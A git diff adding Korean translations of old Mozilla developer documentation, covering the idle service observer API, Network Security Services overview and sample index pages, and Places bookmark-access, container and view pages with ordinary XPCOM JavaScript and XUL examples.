+<p>사용자가 특정 시간 동안 유휴일 때와 유휴 상태에서 돌아올 때 알림을 받을 관찰자를 추가합니다.</p>
+<pre class="eval">void addIdleObserver(
+  in nsIObserver observer,
+  in unsigned long time
+)
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98" name=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98">매개 변수</h6>
+<dl>
+ <dt>
+  &lt;tt&gt;observer&lt;/tt&gt;</dt>
+ <dd>
+  알림을 받을 <a href="ko/NsIObserver">관찰자</a></dd>
+</dl>
+<dl>
+ <dt>
+  &lt;tt&gt;time&lt;/tt&gt;</dt>
+ <dd>
+  관찰자에게 알리기 전에 사용자가 유휴 상태이어야 하는 초 단위 시간.</dd>
+</dl>
+<h6 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h6>
+<ul>
+ <li>관찰자가 받게 되는 알림의 제목은 항상 <code>nsIIdleService</code> 자체입니다. 사용자가 유휴가 되면 관찰자 주제는 'idle'이고 다시 돌아오면 관찰자 주제는 'back'입니다. 알림의 data 매개 변수는 현재의 사용자 유휴 시간을 포함하고 있습니다.</li>
+</ul>
+<ul>
+ <li>같은 관찰자를 두 번 추가할 수 있습니다.</li>
+</ul>
+<ul>
+ <li>대부분의 구현은 유휴 정보를 위해서 운영체제를 정기적으로 확인해야 합니다. 이는 구현의 확인 간격 만큼 알림이 지연되어 도착할 수 있다는 뜻입니다. 현재의 구현은 5초 간격을 사용하고 있습니다.</li>
+</ul>
+<h3 id="removeIdleObserver.28.29" name="removeIdleObserver.28.29">removeIdleObserver()</h3>
+<p>addIdleObserver로 등록한 관찰자를 제거합니다.</p>
+<pre class="eval">void removeIdleObserver(
+  in nsIObserver observer,
+  in unsigned long time
+)
+</pre>
+<h6 id=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98_2" name=".EB.A7.A4.EA.B0.9C_.EB.B3.80.EC.88.98_2">매개 변수</h6>
+<dl>
+ <dt>
+  &lt;tt&gt;observer&lt;/tt&gt;</dt>
+ <dd>
+  삭제할 <a href="ko/NsIObserver">관찰자</a></dd>
+</dl>
+<dl>
+ <dt>
+  &lt;tt&gt;time&lt;/tt&gt;</dt>
+ <dd>
+  관찰자가 기다리던 시간</dd>
+</dl>
+<h6 id="Remarks" name="Remarks">Remarks</h6>
+<p>관찰자는 것은 여러분이 지정한 유휴 시간에 대하여 한 번 제거하게 됩니다. 관찰자를 여러 번 추가했다면 그 수 만큼 제거</p>
+<h2 id=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C" name=".EC.98.88.EC.A0.9C_.EC.BD.94.EB.93.9C">예제 코드</h2>
+<p>예제 1:</p>
+<pre class="eval">var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+setTimeout(function() { alert(idleService.idleTime) }, 1000)
+// if you don't use the mouse or the keyboard after running this snippet,
+// you'll see a number around 1000 alerted.
+</pre>
+<p>예제 2:</p>
+<pre class="eval">var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+var idleObserver = {
+  observe: function(subject, topic, data) {
+    alert("topic: " + topic + "\ndata: " + data);
+  }
+};
+idleService.addIdleObserver(idleObserver, 60); // one minute
+// ...
+// Don't forget to remove the observer using removeIdleObserver!
+idleService.removeIdleObserver(idleObserver, 60);
+</pre>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p></p>
diff --git a/files/ko/nss/index.html b/files/ko/nss/index.html
new file mode 100644
index 0000000000..5e8100645e
--- /dev/null
+++ b/files/ko/nss/index.html
@@ -0,0 +1,64 @@
+---
+title: Network Security Services
+slug: NSS
+tags:
+  - MDC Project
+  - NSS
+  - NeedsMigration
+translation_of: Mozilla/Projects/NSS
+---
+<p> </p>
+<p><b>네트워크 보안 서비스</b>(<b>NSS</b>, Network Security Services)는 보안이 가능한 클라이언트와 서버의 응용 프로그램 개발을 지원하는 양방향 플랫폼으로 설계된 라이브러리의 묶음입니다. NSS로 개발된 응용 프로그램은 SSL 2, v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3와 이외의 보안 기준들을 지원합니다. 지원되는 기준들에 대한 자세한 정보는 <a href="ko/Overview_of_NSS">Overview of NSS</a>를 참고하세요. 자주 묻는 질문 리스트는 [[NSS_FAQ{{mediawiki.external('FAQ')}}]를 참고하세요.</p>
+<p>NSS는 모질라 공용 라이선스, GNU 일반 공용 라이선스 그리고 GNU 소형 일반 공용 라이선스 하에서 이용이 가능합니다. .tar 파일로 배포된 NSS를 다운로드 하려면 <a class="external" href="http://www.mozilla.org/projects/security/pki/src/download.html">PKI 소스 다운로드</a>를 참조하세요.</p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentation" name="Documentation"><a>Documentation</a></h4>
+    <div class="note">
+     <p>모질라 NSS 관련 문서는 <a class="external" href="http://www.mozilla.org/projects/security/pki/nss/">에서 확인할 수 있습니다. 모든 문서는 위키 형태로 변환되어야 합니다. </a></p>
+    </div>
+    <p><a class="external" href="http://www.mozilla.org/projects/security/pki/nss/">아래 주제와 관련된 추가 문서를 사용할 수 있습니다. (위키에서만 가능) </a></p>
+    <ul>
+     <li><a href="ko/NSS_reference">NSS Reference (진행중)</a></li>
+     <li><a href="ko/PKCS11_Module_Specs">The strings NSS uses to load PKCS #11 modules</a></li>
+     <li><a href="ko/PKCS11">Documentation on implementing PKCS #11 modules</a></li>
+     <li><a href="ko/JavaScript_crypto">Using the window.crypto object from JavaScript</a></li>
+     <li><a href="ko/HTTP_Delegation">Delegation of HTTP download for OCSP</a></li>
+     <li><a href="ko/TLS_Cipher_Suite_Discovery">TLS Cipher Suite Discovery</a></li>
+     <li>View <a>all NSS-related articles on MDC</a></li>
+    </ul>
+    <p>QA/testing :</p>
+    <ul>
+     <li><a href="ko/Testing_third-party_PKCS#11_modules.2Ftokens_with_NSS">Testing third-party PKCS #11 modules/tokens with NSS</a></li>
+    </ul>
+    <p>Information on NSS planning can be found at <a class="external" href="http://wiki.mozilla.org/NSS">wiki.mozilla.org</a>, including:</p>
+    <ul>
+     <li><a class="external" href="http://wiki.mozilla.org/FIPS_Validation">FIPS Validation</a></li>
+     <li><a class="external" href="http://wiki.mozilla.org/NSS:Roadmap">NSS Roadmap page</a></li>
+    </ul>
+   </td>
+   <td>
+    <h4 id="Community" name="Community">Community</h4>
+    <ul>
+     <li>View Mozilla Security forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-security", "mozilla.dev.security") }}</p>
+    <ul>
+     <li>View Mozilla Cryptography forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}</p>
+    <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
+    <dl>
+     <dd>
+      <a href="ko/Security">Security</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "es": "es/NSS", "ja": "ja/NSS" } ) }}</p>
diff --git a/files/ko/nss/new_nss_samples/index.html b/files/ko/nss/new_nss_samples/index.html
new file mode 100644
index 0000000000..dd972868a6
--- /dev/null
+++ b/files/ko/nss/new_nss_samples/index.html
@@ -0,0 +1,37 @@
+---
+title: New NSS Samples
+slug: NSS/New_NSS_Samples
+translation_of: Mozilla/Projects/NSS/New_NSS_Samples
+---
+<h2 id="New_NSS_Sample_Code">New NSS Sample Code</h2>
+
+<p> </p>
+
+<p>여기 샘플 코드 모음은 NSS가 암호화 작업, 인증서 처리, SSL 등에 어떻게 사용될 수 있는지 보여줍니다. 또한 암호화 적용에 대한 몇 가지 모범 사례를 보여줍니다.</p>
+
+<p><br>
+ These new examples are still a work in progress. See https://bugzilla.mozilla.org/show_bug.cgi?id=490238</p>
+
+<p>You are welcome to download the new samples via:</p>
+
+<pre class="bz_comment_text" id="comment_text_42">hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update SAMPLES_BRANCH
+</pre>
+
+<p>These are the new examples</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Sample_Code/Sample1_-_Hashing">Sample Code 1: Hashing</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Sample_Code/Sample2_-_Initialize_NSS_Database">Sample Code 2: Init NSS database</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Encrypt_Decrypt_MAC_Using_Token">Sample Code 3: Encrypt/Decrypt and Mac Using Token</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Encrypt_Decrypt_MAC_Keys_As_Session_Objects">Sample Code 4: Encrypt/Decrypt and Mac Using Session Objects</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Sample_Code/Enc_Dec_MAC_Output_Plblic_Key_as_CSR">Sample Code 5: Encrypt/Decrypt/MAC Output Public Key as a CSR </a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Sample_Code/Enc_Dec_MAC_Using_Key_Wrap_CertReq_PKCS10_CSR">Sample Code 6: Encrypt/Decrypt/MAC Generating a PKCS#11 CSR</a></li>
+</ol>
+
+<p>This is common code used by the new examples</p>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Sample_Code/Utiltiies_for_nss_samples">Sample Code 0: Utilities</a></li>
+</ol>
+
+<p>Thanks are due to Shailendra Jain, Mozilla Community member, who is the principal author of these samples.</p>
diff --git a/files/ko/places/accessing_bookmarks/index.html b/files/ko/places/accessing_bookmarks/index.html
new file mode 100644
index 0000000000..76d52c1ab7
--- /dev/null
+++ b/files/ko/places/accessing_bookmarks/index.html
@@ -0,0 +1,81 @@
+---
+title: Accessing Bookmarks
+slug: Places/Accessing_Bookmarks
+tags:
+  - Firefox 3
+  - Places
+translation_of: Mozilla/Tech/Places/Manipulating_bookmarks_using_Places
+---
+<p></p>
+<p>이 문서는 북마크 트리의 일부를 빠르게 구하기를 원하는 사람들을 위한 빠른 시작을 제공합니다. 북마크는 <a href="ko/Places/Query_System">플레이스 질의 시스템</a>을 이용하여 구할 수 있으며, 이는 더 일반적인 정보를 담고 있습니다. 북마크 서비스 API에 대해서는 <a href="ko/Places/Bookmarks_Service">북마크 서비스</a>를 참고하시기 바랍니다.</p>
+<h3 id=".EC.A7.88.EC.9D.98.EC.99.80_.EC.98.B5.EC.85.98_.EA.B0.9C.EC.B2.B4_.EC.96.BB.EA.B8.B0" name=".EC.A7.88.EC.9D.98.EC.99.80_.EC.98.B5.EC.85.98_.EA.B0.9C.EC.B2.B4_.EC.96.BB.EA.B8.B0">질의와 옵션 개체 얻기</h3>
+<p>모든 질의는 히스토리 서비스를 통해 실행합니다. 먼저 히스토리 서비스에서 빈 질의와 옵션 개체를 얻어야 합니다.</p>
+<pre>var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+var options = historyService.getNewQueryOptions();
+var query = historyService.getNewQuery();
+</pre>
+<h3 id=".EC.9B.90.ED.95.98.EB.8A.94_.ED.8F.B4.EB.8D.94_.EC.B0.BE.EA.B8.B0" name=".EC.9B.90.ED.95.98.EB.8A.94_.ED.8F.B4.EB.8D.94_.EC.B0.BE.EA.B8.B0">원하는 폴더 찾기</h3>
+<p>알려진 폴더 ID는 북마크 서비스에서 구할 수 있습니다. <code><a href="https://dxr.mozilla.org/mozilla-central/source//toolkit/components/places/public/nsINavBookmarksService.idl" rel="custom">/toolkit/components/places/public/nsINavBookmarksService.idl</a></code>에 정의된 속성은 <code>bookmarksMenuFolder</code>, <code>tagsFolder</code>, <code>unfiledBookmarksFolder</code>, <code>toolbarFolder</code>입니다. 이전 질의에서 폴더 ID를 얻을 수도 있습니다.</p>
+<p>이 예제는 북마크 도구 막대의 ID를 얻는 것입니다.</p>
+<pre>var bookmarksService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                 .getService(Components.interfaces.nsINavBookmarksService);
+var toolbarFolder = bookmarksService.toolbarFolder;
+</pre>
+<p><code>placesRoot</code>는 전체 플레이스 계층 구조의 최상위 폴더입니다. 이는 사용자 데이터 뿐만 아니라 관리 데이터를 포함하고 있어서 질의에 사용하는 것은 바람직하지 않습니다.</p>
+<h3 id=".EC.A7.88.EC.9D.98.EC.99.80_.EC.98.B5.EC.85.98_.EA.B0.9C.EC.B2.B4_.EC.B1.84.EC.9A.B0.EA.B8.B0" name=".EC.A7.88.EC.9D.98.EC.99.80_.EC.98.B5.EC.85.98_.EA.B0.9C.EC.B2.B4_.EC.B1.84.EC.9A.B0.EA.B8.B0">질의와 옵션 개체 채우기</h3>
+<p>전체 북마크 트리를 원하면 그룹화 옵션 <code>GROUP_BY_FOLDER</code>을 사용해야 합니다. 현재, 질의 시스템은 이 플래그가 필요하지 않으며 정확하게 한 폴더의 내용을 요청하면 항상 계층 구조를 반환합니다. 이는 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=331487" title="Fix GROUP_BY_FOLDER in query system">bug 331487</a>입니다. 버그가 수정되면 <code>GROUP_BY_FOLDER</code>이 없는 북마크 질의는 모든 폴더와 서브폴더에서 질의에 부합하는 모든 북마크의 단순 목록을 반환할 것입니다.</p>
+<p>통상의 북마크 질의에서 여러분은 하나의 최상위 폴더를 갖습니다. 질의 개체에서 이 폴더는 <code>setFolders</code>에 주어집니다.</p>
+<pre>options.setGroupingMode([options.GROUP_BY_FOLDER],1);
+query.setFolders([toolbarFolder], 1);
+</pre>
+<h3 id=".EC.A7.88.EC.9D.98_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0" name=".EC.A7.88.EC.9D.98_.EC.8B.A4.ED.96.89.ED.95.98.EA.B8.B0">질의 실행하기</h3>
+<p><code>executeQuery</code> 및 <code>executeQueries</code> 함수는 질의 결과를 포함한 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryResult" title="">nsINavHistoryResult</a></code> 개체를 반환합니다.</p>
+<pre>var result = historyService.executeQuery(query, options);
+</pre>
+<h3 id=".EA.B2.B0.EA.B3.BC_.EC.96.BB.EA.B8.B0" name=".EA.B2.B0.EA.B3.BC_.EC.96.BB.EA.B8.B0">결과 얻기</h3>
+<p>(예제와 같이) 키워드나 날짜 범위와 같은 고급 매개 변수가 없이 폴더로 분류된 딱 하나의 폴더를 질의할 때, 결과의 <code>root</code>는 폴더에 해당하는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryContainerResultNode" title="">nsINavHistoryContainerResultNode</a></code>가 됩니다. 질의가 복잡하거나 <code>GROUP_BY_FOLDER</code>를 사용하지 않았다면 루트는 <code><a href="/ko/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryResultNode" title="">nsINavHistoryQueryResultNode</a></code>가 됩니다.</p>
+<p>결과 콘테이너의 자식을 접근하기 전에 먼저 그것을 열고 나서 자식을 탐색할 수 있습니다. 콘테이너가 열려 있는 동안 북마크 시스템의 공지를 듣고 자신을 최신 상태로 유지하게 됩니다. 작업을 마치면 꼭 콘테이너를 닫아 자원을 해제하십시오. 그렇지 않으면 콘테이너는 계속 알림을 받고 자신을 갱신하여 전체 브라우저를 느리게 합니다.</p>
+<pre>var rootNode = result.root;
+rootNode.containerOpen = true;
+
+// iterate over the immediate children of this folder and dump to console
+for (var i = 0; i &lt; rootNode.childCount; i ++) {
+  var node = rootNode.getChild(i);
+  dump("Child: " + node.title + "\n");
+}
+
+// close a container after using it!
+rootNode.containerOpen = false;
+</pre>
+<p><code>RESULT_TYPE_FOLDER</code> 형식이나 다른 형식의 노드를 만나면 이 폴더를 열고 계층 구조의 아래로 내려갈 수 있습니다. 여러 가지 결과 형식을 이해하려면 <a href="ko/Places/Query_System">플레이스:질의 시스템</a>의 "결과 이용하기" 섹션을 참고하시기 바랍니다.</p>
+<h3 id=".EC.A0.84.EC.B2.B4_.EC.BD.94.EB.93.9C" name=".EC.A0.84.EC.B2.B4_.EC.BD.94.EB.93.9C">전체 코드</h3>
+<pre>var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+var options = historyService.getNewQueryOptions();
+var query = historyService.getNewQuery();
+
+var bookmarksService = Components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]
+                                 .getService(Components.interfaces.nsINavBookmarksService);
+var toolbarFolder = bookmarksService.toolbarFolder;
+
+//comment out the next line for now; the bug hasn't been fixed; final version should include the next line
+options.setGroupingMode([options.GROUP_BY_FOLDER],1);
+query.setFolders([toolbarFolder], 1);
+
+var result = historyService.executeQuery(query, options);
+var rootNode = result.root;
+rootNode.containerOpen = true;
+
+// iterate over the immediate children of this folder and dump to console
+for (var i = 0; i &lt; rootNode.childCount; i ++) {
+  var node = rootNode.getChild(i);
+  dump("Child: " + node.title + "\n");
+}
+
+// close a container after using it!
+rootNode.containerOpen = false;
+</pre>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/ko/places/custom_containers/index.html b/files/ko/places/custom_containers/index.html
new file mode 100644
index 0000000000..305255ee4d
--- /dev/null
+++ b/files/ko/places/custom_containers/index.html
@@ -0,0 +1,21 @@
+---
+title: Custom Containers
+slug: Places/Custom_Containers
+tags:
+  - Places
+---
+<p>사용자 정의 콘테이너는 확장이나 기타 서비스가 플레이스 폴더의 결과를 동적으로 제공하는 것을 가능하게 합니다. 이 문서를 읽기 전에 질의와 결과의 작동 방법에 대한 <a href="ko/Places/Query_System">플레이스 질의 시스템</a>을 숙지하는 것이 좋습니다.</p>
+
+<h3 id="원격_콘테이너">원격 콘테이너</h3>
+
+<p>원격 콘테이너는 확장 작성자 등이 플레이스 질의 결과에 콘테이너의 내용을 제공하는 방법입니다. 먼저 <a href="ko/NsIRemoteContainer">nsIRemoteContainer</a>를 구현하는 콤포넌트를 생성해야 합니다. 그리고 나서, <code>nsINavBookmarksService.createContainer</code>를 사용하여 여러분의 콤포넌트와 연관된 북마크 폴더를 생성합니다. <code>type</code> 매개 변수는 콤포넌트의 contract ID를 포함한 문자열입니다. 북마크 서비스와 기타 콤포넌트는 여러분의 <code>nsIRemoteContainer</code> 구현을 얻기 위하여 이 contract ID를 사용하여 <code>CreateService</code>를 호출합니다.</p>
+
+<p>여러분의 서비스가 폴더와 관련을 맺으면, 폴더가 이동하거나 삭제될 때 알림을 받게 됩니다. 이러한 동작에 대응하여 여러분의 서비스는 폴더와 관련한 관리 정보를 갱신해야 합니다.<em>(여러분의 콘테이너를 나타내는 콘테이너 결과 노드를 결과 사용자가 열거나 닫을 때 발생하는 알림은 테스트 부족으로 주석 처리되어 있습니다.)</em> 또한, 여러분의 서비스는 콘테이너가 읽기 전용 자식을 가지고 있는지 또는 보통의 북마크와 마찬가지로 수정이 가능한지를 선언할 수 있습니다.</p>
+
+<h3 id="모드">모드</h3>
+
+<p>원격 콘테이너 구현이 사용할 수 있는 작동 모드에는 두 가지가 있습니다. 첫 번째 모드는 북마크 제공자처럼 동작하여 일반 북마크 폴더 안에 실제 북마크를 생성합니다. 이러한 예가 <a class="external" href="http://developer.mozilla.org/en/docs/Places:Livemark_Service">라이브마크 서비스</a>입니다. 라이브마크 서비스는 피드를 읽고 해당 스트림 안의 항목에 해당하는 폴더에 북마크를 생성합니다. 이 북마크는 북마크 서비스가 관리하므로 라이브마크 서비스는 콘테이너가 언제 열리고 닫히는지 상관하지 않습니다. (폴더의 피드와 관련한 정보를 갱신하기 위하여) 폴더가 이동하거나 삭제되는 경우를 처리하는 것과 라이브마크가 읽기 전용이라고 선언하는 것만 필요합니다.</p>
+
+<p>두 번째 작동 모드는 더 적극적입니다.<em>현재 이 모드는 지원하지 않습니다. 함수 호출은 테스트 지연으로 주석 처리되어 있습니다.</em> 서비스는 콘테이너 열기 및 닫기 동작에 대응하여 실행 중에 결과를 채울 수 있습니다. 그러므로 표시되는 순간에 더 동적인 내용을 생성할 수 있습니다. 콘테이너 형식을 가진 폴더가 열리면 서비스는 알림을 받고 콘테이너 결과 노드가 주어집니다. 그러면 서비스는 <code>appendURINode</code>, <code>appendFolderNode</code> 등을 이용하여 해당 콘테이너에 자식을 생성할 수 있습니다. <code>appendContainerNode</code>를 특히 주목하십시오. 이는 다른 원격 콘테이너를 생성하는데 사용할 수 있습니다. 이러한 원격 콘테이너는 어떠한 북마크 폴더와도 관련이 없습니다(관련을 맺으려면 <code>appendFolderNode</code>를 사용하십시오). 예를 들어, 하위 폴더와 관련한 콘테이너를 동적으로 생성할 수 있는 파일 브라우저를 생성할 수 있습니다. 각 콘테이너는 속성 백(property bag)을 가지고 있어서 경로와 같은 임의의 정보를 노드에 연결하는데 사용할 수 있다는 점을 기억하십시오.</p>
+
+<div class="noinclude"></div>
diff --git a/files/ko/places/index.html b/files/ko/places/index.html
new file mode 100644
index 0000000000..99ffcc3778
--- /dev/null
+++ b/files/ko/places/index.html
@@ -0,0 +1,70 @@
+---
+title: Places
+slug: Places
+tags:
+  - Add-ons
+  - Developing Mozilla
+  - Extensions
+  - Places
+translation_of: Mozilla/Tech/Places
+---
+<p></p>
+
+<p>플레이스(Places)는 Firefox의 북마크와 히스토리 시스템을 재작성한 것입니다. 이는 상당한 유연성과 복잡한 질의가 가능한 것을 목표로 삼고 있습니다. 파비콘(favicon) 저장소나 임의의 정보로 페이지에 주석을 달 수 있는 것과 같은 새로운 기능도 포함하고 있습니다. 또한, 다양한 새로운 사용자 인터페이스도 포함하고 있는데 본 개발자 문서에서는 이에 대해 다루지 않습니다(<a class="wikimo" href="https://wiki.mozilla.org/Places" title="플레이스에 대한 모질라 위키 페이지">플레이스에 대한 모질라 위키 페이지</a>를 참고하십시오).</p>
+
+<p>플레이스는 <a href="/ko/Storage" title="ko/Storage">mozStorage</a> 인터페이스를 이용하여 <a class="external" href="http://sqlite.org/">sqlite</a> 데이터베이스에 데이터를 저장합니다.</p>
+
+<h2 id=".EC.A3.BC.EC.A0.9C" name=".EC.A3.BC.EC.A0.9C">주제</h2>
+
+<dl>
+ <dt><a href="/ko/Places/Query_System" title="ko/Places/Query_System">질의 시스템(Query System)</a></dt>
+ <dd>특정 매개 변수로 북마크와 히스토리 시스템을 질의하는 방법.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/Places/Accessing_Bookmarks" title="ko/Places/Accessing_Bookmarks">북마크 접근하기(Accessing Bookmarks)</a></dt>
+ <dd>북마크를 접근하는 방법.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/Places/Custom_Containers" title="ko/Places/Custom_Containers">사용자 정의 콘테이너(Custom Containers)</a></dt>
+ <dd>플레이스 뷰에 서드파티 원본의 링크를 표시하기 위하여 사용자 정의 콘테이너를 생성하는 방법.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/Places/Views" title="ko/Places/Views">뷰(Views)</a></dt>
+ <dd>자신의 애플리케이션이나 확장에 플레이스 뷰를 생성하고 구성하는 방법.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/ko/Places/Instantiating_Views" title="ko/Places/Instantiating_Views">뷰 생성하기(Instantiating Views)</a></dt>
+ <dd>자신의 확장이나 애플리케이션에 사용하기 위하여 내장된 플레이스 뷰를 포함한 콘트롤을 생성하는 방법.</dd>
+</dl>
+
+<h2 id=".EC.84.9C.EB.B9.84.EC.8A.A4_API_.EB.AC.B8.EC.84.9C" name=".EC.84.9C.EB.B9.84.EC.8A.A4_API_.EB.AC.B8.EC.84.9C">서비스 API 문서</h2>
+
+<dl>
+ <dt><a href="/ko/Places/History_Service" title="ko/Places/History_Service">히스토리 서비스(History Service)</a></dt>
+ <dt><a href="/ko/Places/Bookmarks_Service" title="ko/Places/Bookmarks_Service">북마크 서비스(Bookmarks Service)</a></dt>
+ <dt><a href="/ko/Places/Annotation_Service" title="ko/Places/Annotation_Service">주석 서비스(Annotation Service)</a></dt>
+ <dt><a href="/ko/Places/Livemark_Service" title="ko/Places/Livemark_Service">라이브마크 서비스(Livemark Service)</a></dt>
+ <dt><a href="/ko/Places/Favicon_Service" title="ko/Places/Favicon_Service">파비콘 서비스(Favicon Service)</a></dt>
+ <dt><a href="/ko/Places/Tagging_Service" title="ko/Places/Tagging_Service">태깅 서비스(Tagging Service)</a></dt>
+</dl>
+
+<h2 id=".EC.84.A4.EA.B3.84_.EB.AC.B8.EC.84.9C" name=".EC.84.A4.EA.B3.84_.EB.AC.B8.EC.84.9C">설계 문서</h2>
+
+<dl>
+ <dt><a href="/ko/Places/Design" title="ko/Places/Design">플레이스 데이터베이스 디자인(Places Database Design)</a></dt>
+ <dd>플레이스 데이터베이스 설계에 대한 고수준 개요.</dd>
+ <dt><a href="/ko/Places/History_Service/Design" title="ko/Places/History_Service/Design">히스토리 서비스 설계(History Service Design)</a></dt>
+ <dd>히스토리 서비스 설계.</dd>
+ <dt><a href="/ko/Places/Bookmarks_Service/Design" title="ko/Places/Bookmarks_Service/Design">북마크 서비스 설계(Bookmark Service Design)</a></dt>
+ <dd>북마크 서비스 설계.</dd>
+ <dt><a href="/ko/Places/Annotation_Service/Design" title="ko/Places/Annotation_Service/Design">주석 서비스 설계(Annotation Service Design)</a></dt>
+ <dd>주석 서비스 설계.</dd>
+ <dt><a href="/ko/Places/Awesomebar" title="ko/Places/Awesomebar">위치 막대 설계(Location Bar Design)</a></dt>
+ <dd>멋진 막대(awesomebar)라는 별명을 가진 플레이스 구동 위치 막대(Places-driven Location Bar)의 설계 및 알고리즘.</dd>
+</dl>
+
+<p></p>
diff --git a/files/ko/places/instantiating_views/index.html b/files/ko/places/instantiating_views/index.html
new file mode 100644
index 0000000000..4fdcc5d1c9
--- /dev/null
+++ b/files/ko/places/instantiating_views/index.html
@@ -0,0 +1,70 @@
+---
+title: Instantiating Views
+slug: Places/Instantiating_Views
+tags:
+  - Places
+---
+<p>여러분의 확장이나 애플리케이션에서 북마크나 히스토리의 내용을 보여주려면 내장 플레이스 뷰를 사용할 수 있습니다. 이는 포괄적이며, 기본 기능을 작성하는 시간을 많이 아껴주므로 여러분은 애플리케이션을 작성하는데 집중할 수 있습니다.</p>
+
+<p>다른 콘트롤 형식을 위해서 또는 더욱 사용자 정의된 뷰를 얻기 위해서 여러분 자신의 뷰를 구현할 수도 있습니다. <a href="ko/Places/Views">Places:Views</a>는 이 주제에 대해서 다룹니다.</p>
+
+<h3 id="보기">보기</h3>
+
+<p>플레이스에서는 다음과 같은 내장 뷰를 이용할 수 있습니다.</p>
+
+<ul>
+ <li>트리</li>
+ <li>메뉴</li>
+ <li>도구 막대 - 포함된 폴더는 메뉴 뷰를 사용</li>
+</ul>
+
+<h3 id="XUL에서_생성하기">XUL에서 생성하기</h3>
+
+<pre>  &lt;!-- include the places stylesheet to get the XBL bindings --&gt;
+  &lt;?xml-stylesheet href="chrome://browser/content/places/places.css"?&gt;
+
+  &lt;!-- include the required .js files --&gt;
+  &lt;script type="application/x-javascript"
+          src="chrome://global/content/globalOverlay.js"/&gt;
+  &lt;script type="application/x-javascript"
+          src="chrome://browser/content/places/utils.js"/&gt;
+  &lt;script type="application/x-javascript"
+          src="chrome://browser/content/places/controller.js"/&gt;
+  &lt;script type="application/x-javascript"
+          src="chrome://browser/content/places/treeView.js"/&gt;
+
+  &lt;!-- Tree View --&gt;
+  &lt;tree type="places" id="your_tree" place="place:..." ...&gt;
+    &lt;treecols&gt;
+      &lt;treecol id="title" flex="1" primary="true" .../&gt;
+      ...
+    &lt;/treecols&gt;
+    &lt;treechildren flex="1"/&gt;
+  &lt;/tree&gt;
+
+  &lt;!-- Menu View --&gt;
+  &lt;menu label="Your Menu"&gt;
+    &lt;menupopup type="places" place="place:..."/&gt;
+  &lt;/menu&gt;
+
+  &lt;!-- Toolbar View --&gt;
+  &lt;toolbaritem type="places" id="your_item" place="place:..."
+               .../&gt;
+</pre>
+
+<p>스크립트에서 DOM 개체를 생성할 수도 있습니다.</p>
+
+<h3 id="스크립트_가로채기Hookup">스크립트 가로채기(Hookup)</h3>
+
+<pre>var view = document.getElementById("your_view");
+view.init(null);
+view.appendController(PlacesController);
+</pre>
+
+<p>뷰는 null로 초기화되고(기본 뷰 구성입니다. ViewConfig 개체를 사용하여 뷰의 기능을 수정하는 것에 대한 자세한 정보는 <a href="ko/Places/View_Configurations">Places:View Configurations</a>를 참고하십시오.) 콘트롤러가 붙습니다. 뷰는 이제 사용할 준비가 되었습니다.</p>
+
+<h3 id="플레이스뷰_인터페이스">플레이스뷰 인터페이스</h3>
+
+<p>플레이스뷰 인터페이스를 통하여 뷰와 상호작용하는 것에 대한 정보는 <a href="ko/Places/PlacesView_Interface">Places:PlacesView Interface</a>를 참고하시기 바랍니다.</p>
+
+<div class="noinclude"></div>
diff --git a/files/ko/places/query_system/index.html b/files/ko/places/query_system/index.html
new file mode 100644
index 0000000000..1a3dccf574
--- /dev/null
+++ b/files/ko/places/query_system/index.html
@@ -0,0 +1,173 @@
+---
+title: Query System
+slug: Places/Query_System
+tags:
+  - Firefox 3
+  - Places
+---
+<p></p>
